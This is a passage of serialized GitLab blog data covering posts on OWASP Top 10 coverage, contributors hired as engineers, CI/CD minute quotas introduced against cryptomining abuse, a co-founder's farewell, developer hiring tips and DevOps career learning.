xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>            | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>             | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                           |\n| A07:2021-Identification and Authentication Failures | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                       | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>      | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                             |\n| A08:2021-Software and Data Integrity Failures       | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>              | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>           | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>              | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                          |\n| A09:2021-Security Logging and Monitoring Failures   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>             | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>               | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                             |\n| A10:2021-Server-Side Request Forgery                | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                    | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>               | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>         | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                           |\n\nCoverage legend:\n\n\u003Cul>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-0\">\u003C/use>\u003C/svg> - 0%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg> - 25%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg> - 50%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg> - 75%\n  \u003C/li>\n  \u003Cli>\n    \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-100\">\u003C/use>\u003C/svg> - 100%\n  \u003C/li>\n\u003C/ul>\n\nCover image by [Joshua Golde](https://unsplash.com/@joshgmit?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\") on [Unsplash](https://unsplash.com/s/photos/ranking?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",{"slug":16522,"featured":6,"template":678},"top-five-actions-owasp-2021","content:en-us:blog:top-five-actions-owasp-2021.yml","Top Five Actions Owasp 2021","en-us/blog/top-five-actions-owasp-2021.yml","en-us/blog/top-five-actions-owasp-2021",{"_path":16528,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16529,"content":16534,"config":16540,"_id":16542,"_type":16,"title":16543,"_source":17,"_file":16544,"_stem":16545,"_extension":20},"/en-us/blog/you-are-hired-two-gitlab-contributors-turn-their-success-into-full-time-engineering-roles",{"title":16530,"description":16531,"ogTitle":16530,"ogDescription":16531,"noIndex":6,"ogImage":14571,"ogUrl":16532,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16532,"schema":16533},"How contributors earned full-time engineering roles at GitLab","As we continue to celebrate the 10th anniversary of the first commit to GitLab, here's a look at how two highly active community members became enthusiastic team members.","https://about.gitlab.com/blog/you-are-hired-two-gitlab-contributors-turn-their-success-into-full-time-engineering-roles","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"You're hired! Two GitLab contributors turn their success into full-time engineering roles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-11-12\",\n      }",{"title":16535,"description":16531,"authors":16536,"heroImage":14571,"date":16537,"body":16538,"category":962,"tags":16539},"You're hired! Two GitLab contributors turn their success into full-time engineering roles",[711],"2021-11-12","[Greg Myers](https://gitlab.com/greg) and [Rajendra Kadam](https://gitlab.com/rkadam3) have something beyond their engineering roles at GitLab in common – both started out as GitLab contributors. We wanted to share their stories as part of our celebration around the 10th anniversary of the first commit to GitLab.\n\nMyers, a GitLab Senior Support Engineer, says his contributions started in 2018, when he first found his passion for helping other community forum members. \n\n“Most of my early contributions involved helping people set up, configure, and troubleshoot self-hosted GitLab installations,” Myers says.\n\nHe enjoyed this helper role so much he applied for an engineering position, but failed the technical interview and didn’t receive an offer. “I kept contributing to GitLab and helping others in the forum while I leveled up in my weak areas,” he says.\n\nKadam, a GitLab Back-end Engineer and [GitLab hero](/community/heroes/members/), started contributing to GitLab in Jan 2020 to learn more about Ruby on Rails and apply it to his then-workplace. \n\n“I did not stop after that since it is more than the code. I loved working with people at GitLab and the culture, even though I was not a full-time team member,” Kadam says.\n\nLike Kadam, Myers enjoyed being a part of the GitLab community. “The majority of my ‘code’ contributions back then were quite simple – fixing typos and markdown formatting issues in documentation,” he says. “I'd never contributed to an open source project of this size and caliber, and I was impressed by how easy and smooth it was to get involved and contribute.”\n\nHe remembers feeling “star-struck” when GitLab co-founder Dmitriy Zaporozhets personally responded in the comments to one of his first MRs.\n\nUsing what he learned as a contributor, Kadam earned a promotion from his employer. He went on to participate in [GitLab hackathons](/community/hackathon/), winning three in a series. His prominence in the GitLab community led him to be offered and to accept an internal engineering role in February 2021. Kadam blogged about the journey from being a contributor to a team member [on Medium](https://rajendraak.medium.com/how-i-got-a-job-at-gitlab-a3515214b74b).\n\nMyers, meanwhile, feeling more confident about his skills, took another shot at a team member role. “After four months, I reapplied for the support engineer position, and this time I got the job. Now it is my job to help others with GitLab and contribute to GitLab, and I love what I do,” Myers says.\n\nAs a Developer Relations Support counterpart, he helps others in the GitLab community forum and advocates for the GitLab wider community. And, as a GitLab Open Source Support Liaison, “I give back to open source communities I know and love,” he says.\n\nHe encourages others to not only contribute to the GitLab community but to help other forum members as he did. After all, you never know where those contributions can lead. “Being a GitLab community member and contributor led me to my dream job,” he says.",[4103,2704,676],{"slug":16541,"featured":6,"template":678},"you-are-hired-two-gitlab-contributors-turn-their-success-into-full-time-engineering-roles","content:en-us:blog:you-are-hired-two-gitlab-contributors-turn-their-success-into-full-time-engineering-roles.yml","You Are Hired Two Gitlab Contributors Turn Their Success Into Full Time Engineering Roles","en-us/blog/you-are-hired-two-gitlab-contributors-turn-their-success-into-full-time-engineering-roles.yml","en-us/blog/you-are-hired-two-gitlab-contributors-turn-their-success-into-full-time-engineering-roles",{"_path":16547,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16548,"content":16554,"config":16559,"_id":16561,"_type":16,"title":16562,"_source":17,"_file":16563,"_stem":16564,"_extension":20},"/en-us/blog/public-project-minute-limits",{"title":16549,"description":16550,"ogTitle":16549,"ogDescription":16550,"noIndex":6,"ogImage":16551,"ogUrl":16552,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16552,"schema":16553},"Changes to GitLab.com public project CI/CD minute quotas","How cryptomining has shaped our pipeline consumption visibility approach and our forward-looking changes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666275/Blog/Hero%20Images/ci_minutes.jpg","https://about.gitlab.com/blog/public-project-minute-limits","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Changes to GitLab.com public project CI/CD minute quotas\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jackie Porter\"}],\n        \"datePublished\": \"2021-11-11\",\n      }",{"title":16549,"description":16550,"authors":16555,"heroImage":16551,"date":16556,"body":16557,"category":736,"tags":16558},[2985],"2021-11-11","\nIn the upcoming milestones, we will be extending CI/CD minute usage quotas to GitLab.com public projects not part of GitLab [open source programs](/handbook/marketing/developer-relations/community-programs/opensource-program/).  \n\nIn the first half of 2021, GitLab.com and other CI/CD providers faced a large uptick in the abuse of free pipeline minutes to mine for cryptocurrencies. To discourage and reduce abuse, we [annouced](/blog/prevent-crypto-mining-abuse/) several changes to help ensure service continued to be reliable for our customers and users. The most recent change was made on 2021-07-17 to \"include public projects in pipeline minutes quota for free users.\" \n\n### Why add a usage quota to public projects?\n\nPreviously, GitLab provided public projects on GitLab.com with a very high number of shared runner minutes to facilitate community contributions to open source. This means cryptominers are able to use GitLab.com shared runners to process large quantities of pipelines and consume an inordinate amount of minutes. These behaviors negatively impact the performance and the availability of GitLab.com shared runners. By adding a quota to the pipelines, the abusers are no longer able to process and consume minutes because there is a limit in place. \n\n[CI/CD minute quotas](https://docs.gitlab.com/ee/subscriptions/gitlab_com/index.html#ci-pipeline-minutes) enable CI/CD minute accumulation, which also gives you transparency into pipeline minute billing. Accumulation of CI/CD minutes in GitLab empowers you to make informed decisions about how to optimize your pipelines and CI/CD usage. \n\n### How does this usage quota impact you?\n\n* **Self-managed users** are not impacted by these changes as CI/CD minutes are only relevant for GitLab.com users. \n\n* **Members of GitLab's [open source program](/handbook/marketing/developer-relations/community-programs/opensource-program/)** [are not subject to the new quotas](https://gitlab.com/groups/gitlab-org/-/epics/6895) for public project CI/CD minutes. As noted in the [program description](https://about.gitlab.com/solutions/open-source/), `Features of [GitLab Ultimate](/pricing/ultimate/), including 50,000 CI/CD minutes, are free to qualifying open source projects through the GitLab for Open Source Program.`, calculated at a [program-specific cost factor](https://docs.gitlab.com/ee/ci/pipelines/cicd_minutes.html#cost-factor).\n\n* **All other GitLab.com public project users** (who account for 5% of our usage) will receive a notification email when they reach their CI/CD quota. Namespace owners will then have the option of upgrading the account to a higher [plan](https://about.gitlab.com/pricing/) or [purchasing additional CI/CD minutes](https://docs.gitlab.com/ee/subscriptions/gitlab_com/index.html#purchase-additional-ci-minutes). Self-managed runners can still be used even when a project reaches quota limits. \n\nFor more information on CI/CD minutes and billing, please refer to the [customer FAQ](/pricing/faq-compute-credit/).\n\n### What's Next?\n\nTo further protect GitLab.com from cryptomining abuse, in the next few months you'll notice some changes to GitLab.com [CI/CD minute quotas](https://docs.gitlab.com/ee/subscriptions/gitlab_com/index.html#ci-pipeline-minutes) and the types of projects that accumulate pipeline minutes. \n\nTo address your questions and feedback on these changes going forward, we have created a space in the [GitLab Community Forum](https://forum.gitlab.com/t/pipeline-minute-quotas-on-gitlab-com/58976), which is actively monitored by GitLab team members and product managers involved with this change.\n",[1384,1385,2704],{"slug":16560,"featured":6,"template":678},"public-project-minute-limits","content:en-us:blog:public-project-minute-limits.yml","Public Project Minute Limits","en-us/blog/public-project-minute-limits.yml","en-us/blog/public-project-minute-limits",{"_path":16566,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16567,"content":16573,"config":16579,"_id":16581,"_type":16,"title":16582,"_source":17,"_file":16583,"_stem":16584,"_extension":20},"/en-us/blog/a-special-farewell-from-gitlab-dmitriy-zaporozhets",{"title":16568,"description":16569,"ogTitle":16568,"ogDescription":16569,"noIndex":6,"ogImage":16570,"ogUrl":16571,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16571,"schema":16572},"A special farewell from GitLab’s Dmitriy Zaporozhets","A message from GitLab's co-founders","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670031/Blog/Hero%20Images/siddz.png","https://about.gitlab.com/blog/a-special-farewell-from-gitlab-dmitriy-zaporozhets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A special farewell from GitLab’s Dmitriy Zaporozhets\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"},{\"@type\":\"Person\",\"name\":\"Dmitriy Zaporozhets\"}],\n        \"datePublished\": \"2021-11-10\",\n      }",{"title":16568,"description":16569,"authors":16574,"heroImage":16570,"date":16576,"body":16577,"category":736,"tags":16578},[3532,16575],"Dmitriy Zaporozhets","2021-11-10","\n**Sid Sijbrandij**: Today, we shared the news with the team that my co-founder and the creator of GitLab the open source project, Dmitriy Zaporozhets, has made the decision to leave his position as Engineering Fellow at GitLab. Below, Dmitriy shares this news in his own words with the GitLab community.\n\n**Dmitriy Zaporozhets**: I remember when I told Sid, my co-founder and the CEO of GitLab, that I wanted to commit 10 years to GitLab from the time I started the project in October of 2011. It’s been an amazing journey over the last 10 years. And just last month, on October 14, 2021, I joined Sid at Nasdaq in New York City as GitLab became a public company. Today, I want to share with the GitLab community that I am stepping away from my position as an Engineering Fellow at GitLab Inc. I have fulfilled my 10 year vision, and I feel that I can step away with so much pride in what GitLab has become and so much faith in where GitLab is headed.\n\nBack in 2011, I was working as a software developer. I worked with version control everyday. There was no modern open source software to run on your server and I saw an opportunity to make something useful as a hobby project. I started the project with Valery Sizov, and I remember having coffee with him, discussing the challenges and improvements we wanted to make. It was such a great feeling to brainstorm something that we cared so deeply about. \n\nIn that first year, we grew a functional open source community around the project. I was quite surprised that so many people participated. That gave me energy and confidence to keep going with the project. Everytime someone contributed, I felt like I needed to put even more effort into it. \n\nIn 2012, I got an email from Sid, saying that he wanted to let me know that he started GitLab.com. I remember he said, “I hope you don’t mind.” The truth is, I was happy that he was interested in GitLab. I hoped that he would bring more users and potentially more contributors. I did not imagine we would end up joining together and making the project as popular as it has become. \n\nI came to work at GitLab full time in 2013. A team member recently asked me what my job title was when I started working at GitLab full time. The answer: it was Dmitriy. I didn’t have a formal title in the beginning. My first official title with the company was Chief Technology Officer. Quite a lot happened during that time. I wrote a lot of code, merged a lot of merge requests. I still have the highest number of commits in the main repository. I worked closely with the first front-end developer and the first UX designer, and we were building everything from scratch.\n\nBy October of 2018, the company grew to the size when the CTO couldn't write the code anymore. I transitioned into my role as Engineering Fellow and worked on several new features in the product. It was a time when building something was just as important as not breaking it. \n\nIt has been an amazing experience to be a part of GitLab’s evolution into [The DevOps Platform](/solutions/devops-platform/). From the simple source control software to the platform that helps you deliver better software faster. I am very glad to have been a part of GitLab’s growth and to be a part of building something that is so valuable to software development. \n\nIt was an honor to be in New York City last month to help Sid ring the opening bell at Nasdaq and see GitLab become a publicly traded company. I know what we do at GitLab had value for the rest of the world even before the company went public. However, experiencing GitLab’s listing day in person filled me with emotion, and there’s one thing I know for sure: the world cares about what we are doing here. \n\nI am so thankful to everyone who has contributed to GitLab. I especially want to thank Valery Sizov, Kamil Trzciński, Douwe Maan, Phil Hughes, Stan Hu, Rémy Coutable, Robert Speicher, and Sean McGivern, most of whom joined soon before or after Y Combinator and took our productivity to the next level. You were all just as passionate about the product as I was and it was amazing to work with you all. I also want to thank employee number 1 Marin Jankovski and employee number 2 Jacob Vosmaer, both of whom are still at GitLab Inc. after all these years. And of course, I want to thank Sid. Sid, your noble aspirations and your strong leadership made all of this possible. Thank you for your partnership over the years, it has been an honor to be on this journey with you as co-founders.\n\nThank you to the community and everyone who has believed in, supported, and contributed to GitLab’s journey. I believe we are still early in GitLab’s evolution, and I cannot wait to see what the team and the community do next.\n\nDmitriy  \n\nDmitriy Zaporozhets\n\nCo-founder, GitLab\n\n**Sid Sijbrandij**: Dmitriy, it has been an incredible 10 years since you started the project. Thank you for creating GitLab, making it open source, joining me on this journey and caring for GitLab for the last 10 years. It was an amazing experience to ring the opening bell with you at Nasdaq and I’m excited to continue to build upon what we’ve created thus far and lead GitLab through its next phase. \n\nWhile you are leaving your position as Engineering Fellow, I know that we will still keep in touch, and your legacy will live on through the company and the wider community. To honor your impact, GitLab Inc. has announced an annual “DZ Award” to recognize one team member who has made great impact by solving a difficult problem using a [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions), because at GitLab, we celebrate the boring solution as a simple, fast, and effective way to maintain our speed of innovation. It will be an honor to recognize team members who embody your innovative spirit and deliver results that help us continue to grow.\n\nDmitriy, thank you for the incredible impact you’ve had on all of us. \n\nSid\n\nSid Sijbrandij\n\nCo-founder and CEO, GitLab\n",[676,267,2704],{"slug":16580,"featured":6,"template":678},"a-special-farewell-from-gitlab-dmitriy-zaporozhets","content:en-us:blog:a-special-farewell-from-gitlab-dmitriy-zaporozhets.yml","A Special Farewell From Gitlab Dmitriy Zaporozhets","en-us/blog/a-special-farewell-from-gitlab-dmitriy-zaporozhets.yml","en-us/blog/a-special-farewell-from-gitlab-dmitriy-zaporozhets",{"_path":16586,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16587,"content":16593,"config":16598,"_id":16600,"_type":16,"title":16601,"_source":17,"_file":16602,"_stem":16603,"_extension":20},"/en-us/blog/6-tips-to-make-software-developer-hiring-easier",{"title":16588,"description":16589,"ogTitle":16588,"ogDescription":16589,"noIndex":6,"ogImage":16590,"ogUrl":16591,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16591,"schema":16592},"6 tips to make software developer hiring easier","If your developers are leaving and it's tough to hire, here's our best advice to stem the tide. One hint: A DevOps Platform can help!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668486/Blog/Hero%20Images/why-you-should-join-the-gitlab-security-team.jpg","https://about.gitlab.com/blog/6-tips-to-make-software-developer-hiring-easier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"6 tips to make software developer hiring easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-11-09\",\n      }",{"title":16588,"description":16589,"authors":16594,"heroImage":16590,"date":16595,"body":16596,"category":962,"tags":16597},[11618],"2021-11-09","\nMastering software developer hiring has never been more critical – or more difficult.\n\nIn fact, it’s almost the perfect storm: There’s a global and growing shortage of developers; voluntary job turnover rates in the US are 25% (almost double what they were three years ago); and demand for skilled engineers is expected to outstrip supply by 1.2 million in three years, according to the Bureau of Labor Statistics. \n\nAt the same time, what developers want, or will settle for, has changed, perhaps at least partially driven by the pandemic. Developers want meaningful challenges, a flexible work-life balance, tools and processes that don’t slow them down, and, increasingly, the option to work completely remotely.\n\nSo what can you do to keep your developers from leaving and make software developer hiring easier? Here’s our best advice:\n\n* Understand the developer mentality. “Of all the tech roles, developers are the most fickle,” says GitLab’s staff developer evangelist [Brendan O’Leary](/company/team/#brendan), who, with nearly 20 years experience as a developer, is in a very good position to know. “They don’t want to put up with a lot and tend to have strong opinions.” \n\n* Stop measuring. It is possible to tie developer productivity to results, and not a mandatory 40-hour work week. How do we know this? Because that’s how GitLab operates, by [measuring results and not hours spent](https://handbook.gitlab.com/handbook/values/#results). “Companies need to stop measuring knowledge workers, like developers, by the hours they spend,” O'Leary says. “That’s the worst thing you could do.” Instead, build a culture that values paid time-off, family leave, and other work-life balance efforts because those will resonate with developers, he stresses. \n\n* Up your tool game. The [science has spoken](/blog/why-software-developer-job-satisfaction-matters-and-how-to-make-it-happen/) and developers drowning in information overload aren’t as productive, which ties directly into job satisfaction and happiness. In our [2021 Global DevSecOps Survey](/developer-survey/), we heard a lot about tool chains with between five and 15 tools on them, and often there wasn’t just one tool chain in play, but several. That’s a lot of noise. A [DevOps platform](/solutions/devops-platform/) streamlines code development, testing, deployment, and monitoring and definitely improves a company’s ability to successfully do DevOps. When we asked respondents to tell us in their own words about the benefits of a DevOps platform, this comment summed it up:  “Reduced mean time to recovery (MTTR), quicker time to market, reduced lead time for fixes, and fewer change failures.” \n\n* Embrace flexible work. Nearly two years into a global pandemic, the time is right for companies to be deliberate about their choices. Developers are going to choose employers who have thought through all the options, whether it’s fully remote, remote with flexibility, or other combinations. But they’re not going to settle for companies trying to patchwork it without a solid plan. “Not every company is losing developers,” O'Leary says. “Developers are going to the places that understand the flexibility in life that can come from remote, while also not sacrificing any productivity.”\n\n* Don’t forget “concrete” perks. Free soda and “bring your dog to work” days probably aren’t enough to make developers consider your team, or decide to stay long term. Focus on what matters: time for volunteer or side projects, a collaborative culture, and demonstrable recognition of success. We offer [discretionary bonuses](/handbook/incentives/#discretionary-bonuses). Some companies send handwritten notes from senior leadership, while others meet monthly for group celebrations. Whatever you do, just make it sure it’s authentic.\n\n* Assess the skills gap. You’ve got unfilled roles and DevOps team members itching for a change. Why not marry the two?  West Monroe, a Chicago-based technology consulting firm, found 56% of managers surveyed rated their organization’s skills gap [as moderate to severe](https://www.westmonroe.com/perspectives/signature-research/the-upskilling-crisis-effectively-enabling-and-retraining-employees-for-the-future?utm_source=google&utm_medium=cpc&utm_term=upskilling&utm_content=!acq!v3!118035700243_kwd-333379491008__501805835687_g_c__&utm_campaign=Search%3A+Prospecting%3A+BA%3A+Priority+Content%3A+Gated%3A+Tier+3_BBM&atrkid=V3ADWED098667_118035700243_kwd-333379491008__501805835687_g_c___&gclid=CjwKCAjw7--KBhAMEiwAxfpkWF1Xg74_9zydAzfcJLt0t90OMh7MYsyV3yOfwK4bJWt-OBX1BzW2mRoClv4QAvD_BwE). And a survey from the McKinsey Quarterly discovered 53% of executive respondents felt [reskilling](https://www.mckinsey.com/business-functions/mckinsey-accelerate/our-insights/five-fifty-the-skillful-corporation?cid=fivefifty-eml-alt-mkq-mck&hlkid=a7a8ae1b68574d02b81db1f1eeb8fd8d&hctky=12428831&hdpid=8233aa33-5ff4-4450-a4c7-2f47dfeaf9d0) was the best solution to the skills gap. So stand out from the crowd and offer solid learning paths to employees, as well as tuition reimbursement. At the very least, offer your DevOps team time for [DIY learning](/blog/best-advice-for-your-devops-career-keep-on-learning/), as needed. Also consider [job swapping](https://www.managersorbit.com/job-swapping-benefits/), which can be a great way to expose employees to new career opportunities.\n \n_Sharon Gaudin contributed to this blog post._\n\n\n## Read more on DevOps careers: \t\t\n\n- [Best advice for your DevOps career? Keep on learning](/blog/best-advice-for-your-devops-career-keep-on-learning/)\n\n- [Four tips to increase your DevOps salary](/blog/four-tips-to-increase-your-devops-salary/)\n\n- [DevOps salaries in 2021: Where do you rank?](/blog/a-look-at-devops-salaries/)\n\n- [Have DevOps jobs to fill? Try these 3 strategies to hire and retain](/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain/)\n\n\n\n",[7715,4103,1899],{"slug":16599,"featured":6,"template":678},"6-tips-to-make-software-developer-hiring-easier","content:en-us:blog:6-tips-to-make-software-developer-hiring-easier.yml","6 Tips To Make Software Developer Hiring Easier","en-us/blog/6-tips-to-make-software-developer-hiring-easier.yml","en-us/blog/6-tips-to-make-software-developer-hiring-easier",{"_path":16605,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16606,"content":16612,"config":16616,"_id":16618,"_type":16,"title":16619,"_source":17,"_file":16620,"_stem":16621,"_extension":20},"/en-us/blog/best-advice-for-your-devops-career-keep-on-learning",{"title":16607,"description":16608,"ogTitle":16607,"ogDescription":16608,"noIndex":6,"ogImage":16609,"ogUrl":16610,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16610,"schema":16611},"Best advice for your DevOps career? Keep on learning","If you want a new job, or a higher salary, or preferably both, add some skills to your DevOps resume. Here's a look at our strategy for DIY-ing your continuing ed.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679473/Blog/Hero%20Images/designing-in-an-all-remote-company.jpg","https://about.gitlab.com/blog/best-advice-for-your-devops-career-keep-on-learning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Best advice for your DevOps career? Keep on learning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2021-11-09\",\n      }",{"title":16607,"description":16608,"authors":16613,"heroImage":16609,"date":16595,"body":16614,"category":8943,"tags":16615},[3907],"\nDevOps skills might be in demand, but it’s not the time to remain complacent if you want a new (and better) job or a higher salary. Luckily the best career move you can make is also the easiest: continue to add new skills, even if you have to DIY it.\n\n“I think continually educating myself has been really important in my career, and it’s been mostly DIY,” said said [Brendan O’Leary](https://gitlab.com/brendan), a staff developer evangelist, and product and engineering leader at GitLab. “It’s allowed me to make different career moves and advance my career by changing companies or by changing roles at my current company… Continuing to educate yourself is one of the most important things you can do.”\n\n## DevOps education: how to keep learning\n\nIt’s well known that continuing to educate yourself and pursuing certifications are two of the [top ways to increase your paycheck](/blog/four-tips-to-increase-your-devops-salary/), but here’s our best advice on how to bootstrap your learning journey without waiting for your employer.\n\n### Take responsibility for your own journey\n\nDon’t panic if your company is one of the many that doesn’t offer continuous education opportunities: According to the DevOps Institute’s 2021 Enterprise DevOps Skills Report, [52 percent of companies don’t](https://learn.gitlab.com/devops-institute/2021-doi-devops-upskilling-report?utm_medium=email&utm_source=marketo&utm_campaign=devopsgtm&utm_content=doi-devops-upskilling-report). (To be transparent, GitLab was one of the partners in the Institute’s survey.)\n\n### Figure out what you, and your company, need\n\nMake sure you’re not learning about a new technology or tool because it’s the cool new thing. Focus your time and energy on learning something that actually will solve a problem or give your business a competitive edge. Keep your skills aligned with shifting business demands, learning enough about a new technology so you understand if it will solve a business problem.\n\nIn a sea of possibilities, there are some concrete learning options we can suggest. In our [2021 Global DevSecOps Survey](/developer-survey/), we asked respondents what skill or skills would be most important for their future career. A majority of developers said knowledge around artificial intelligence and machine learning would be critical, while ops team members wanted more advanced programming languages. Security pros, on the other hand, wanted to become subject matter experts in their industries.\n\n### Assessing your skills and deficits\n\nGauge your baseline of skills, experience and certifications. What comes naturally to you, and what is more of a struggle? Now compare your baseline to what your company needs, and then broaden it out to what the industry is looking for.\n\nOne easy way to broadly compare your skills to others is to look at a job search site like [Glassdoor.com](https://www.glassdoor.com). The job listings detail the skills, languages, experiences, technologies and other attributes an employer is looking for.\n\nWe randomly grabbed and anonymized a job posting for a DevOps engineer from Glassdoor, below. You’ll see how many boxes you’ll need to check (we bolded the key phrases just to make the point):\n\n_You will demonstrate a **leadership** mindset, solid **operational experience**, and the **ability to problem-solve**. Additionally, you should have exceptional **communication skills**, be knowledgeable about the latest industry trends, and be **highly innovative**. The DevOps Engineer will help enhance and maintain a **programmable infrastructure, configure, implement, debug and document new and existing applications running on Linux and Windows operating systems in private and public cloud infrastructures**. Engage in **design, development, installation, and system administration of build/continuous integration systems, anti-virus systems, and configuration management systems**. Participate in the full development life cycle of DevOps projects including **assessment of requirements, system analysis, and design.**_\n\n### Go to the source for certifications\n\nOf course, there are university classes but they can be pricey. You don’t always have to spend thousands of dollars on a college course. Go to the original source of what you want to learn, and let certifications be your friend. [A survey from the McKinsey Quarterly,](https://www.mckinsey.com/business-functions/mckinsey-accelerate/our-insights/five-fifty-the-skillful-corporation?cid=fivefifty-eml-alt-mkq-mck&hlkid=a7a8ae1b68574d02b81db1f1eeb8fd8d&hctky=12428831&hdpid=8233aa33-5ff4-4450-a4c7-2f47dfeaf9d0) noted that 66 percent of survey respondents called certifications “extremely valuable.”\n\nFor instance, if you’re using The GitLab Platform, you can get a [security certification](/services/education/gitlab-security-specialist/) from GitLab. There are also [certifications for](/learn/certifications/public/) everything from CI/CD training, to project management and Git basics. Similarly, if you need to bone up on Google Cloud, check out their site for 